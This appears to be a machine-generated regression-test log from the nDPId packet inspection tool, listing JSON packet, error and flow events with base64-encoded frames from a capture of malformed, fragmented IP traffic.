-00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1213,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIkAGQ48KAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1214,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025612177} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1214,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJEAGQ40KAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1215,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025612215} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1215,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJkAGQ4sKAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1216,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025612220} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1216,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKEAGQ4kKAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1217,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025612225} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1217,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKkAGQ4cKAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1218,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025612230} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1218,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLEAGQ4UKAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1219,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025612235} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1219,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLkAGQ4MKAAACCoAAAmhkZmxrZGE+TDxNTkJIR0Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1220,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025612240} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1220,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMEAGQ4EKAAACCoAAAkRFVyNAJCVeSEJHVgo0MjE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1221,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025612245} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1221,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMkAGQ38KAAACCoAAAjQ2MzE5ODIwNTEpKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1222,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025612249} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1222,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNEAGQ30KAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1223,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025612254} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1223,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNkAGQ3sKAAACCoAAAnJzZGx1aGdrZmRzYmtudmM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1224,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025612259} -00361{"packet_event_id":1,"packet_event_name":"packet","packet_id":1224,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOEAGQ3kKAAACCoAAAi8udGdmdGc\/R1I\/R1I\/c1I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1225,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025612263} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1225,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOkAGQ3cKAAACCoAAAj83NDgzOTYpKComXiUkI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1226,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025612268} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1226,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPEAGQ3UKAAACCoAAAiFAIyQlXiYqKCkoKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1227,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025612277} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1227,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPkAGQ3MKAAACCoAAAiNAIyQlXiYqKComXiUkIyY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1228,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025612286} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1228,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQEAGQ3EKAAACCoAAAiooS0lKSEdGRDIqJkRGR0g="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1229,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025612295} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1229,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQkAGQ28KAAACCoAAAkpLJl4lJCMjRVRSJVleVSY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1230,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025612303} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1230,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiREAGQ20KAAACCoAAAkkqT1B7IjpoZGZsa2RhPkw="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1231,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025612308} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1231,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiRkAGQ2sKAAACCoAAAjxNTkJIR0ZERVcjQCQlXkg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1232,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025612313} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1232,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSEAGQ2kKAAACCoAAAkJHVgo0MjE0NjMxOTgyMDU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1233,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025612318} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1233,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSkAGQ2cKAAACCoAAAjEpKComXiUkI0AjJCVeJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1234,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025612326} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1234,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTEAGQ2UKAAACCoAAAigqJl4lJCNyc2RsdWhna2Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1235,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025612331} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1235,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTkAGQ2MKAAACCoAAAmRzYmtudmMvLnRnZnRnP0c="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1236,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025612336} -00361{"packet_event_id":1,"packet_event_name":"packet","packet_id":1236,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUEAGQ2EKAAACCoAAAlI\/R1I\/c1I\/NzQ4Mzk2KSg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1237,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025612341} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1237,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUkAGQ18KAAACCoAAAiomXiUkI0AhQCMkJV4mKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1238,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025612347} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1238,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVEAGQ10KAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1239,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025612351} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1239,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVkAGQ1sKAAACCoAAAiomXiUkIyYqKEtJSkhHRkQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1240,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025612356} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1240,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWEAGQ1kKAAACCoAAAjIqJkRGR0hKSyZeJSQjI0U="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1241,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025612360} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1241,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWkAGQ1cKAAACCoAAAlRSJVleVSZJKk9QeyI6aGQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1242,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025612365} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1242,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXEAGQ1UKAAACCoAAAmZsa2RhPkw8TU5CSEdGREU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1243,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025612370} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1243,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXkAGQ1MKAAACCoAAAlcjQCQlXkhCR1YKNDIxNDY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1244,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025612374} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1244,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYEAGQ1EKAAACCoAAAjMxOTgyMDUxKSgqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1245,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025612379} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1245,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYkAGQ08KAAACCoAAAkAjJCVeJiooKiZeJSQjcnM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1246,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025612384} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1246,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZEAGQ00KAAACCoAAAmRsdWhna2Zkc2JrbnZjLy4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1247,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025612388} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1247,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZkAGQ0sKAAACCoAAAnRnZnRnP0dSP0dSP3NSPzc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1248,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025612393} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1248,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiaEAGQ0kKAAACCoAAAjQ4Mzk2KSgqJl4lJCNAIUA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1249,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025612398} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1249,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiakAGQ0cKAAACCoAAAiMkJV4mKigpKComXiUkI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1250,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025612403} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1250,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibEAGQ0UKAAACCoAAAiMkJV4mKigqJl4lJCMmKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1251,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025612408} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1251,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibkAGQ0MKAAACCoAAAktJSkhHRkQyKiZERkdISks="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1252,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":42,"expected":54,"global_ts_usec":1534244025612419} -00345{"packet_event_id":1,"packet_event_name":"packet","packet_id":1252,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":42,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":42,"pkt_l4_len":8,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAcAKACcEAGY0kKAAACCoAAAiZeJSQjI0VU"} 00764{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1253,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":5,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1534244025912535,"flow_src_last_pkt_time":1534244025912535,"flow_dst_last_pkt_time":1534244025912535,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":4,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":4,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":4,"flow_dst_tot_l4_payload_len":0,"midstream":1,"thread_ts_usec":1534244025912535,"l3_proto":"ip4","src_ip":"10.0.0.2","dst_ip":"10.128.0.2","src_port":21029,"dst_port":22878,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} 00524{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1253,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_src_last_pkt_time":1534244025912535,"flow_dst_last_pkt_time":1534244025912535,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAEAGRbEKAAACCoAAAlIlWV5VJkkqT1B7IjpoZGY4UAAA"} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1254,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025912559} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1254,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAkAGRa8KAAACCoAAAmxrZGE+TDxNTkJIR0ZERVc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1255,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025912567} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1255,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025912535,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBEAGRa0KAAACCoAAAiNAJCVeSEJHVgo0MjE0NjM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1256,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025912575} 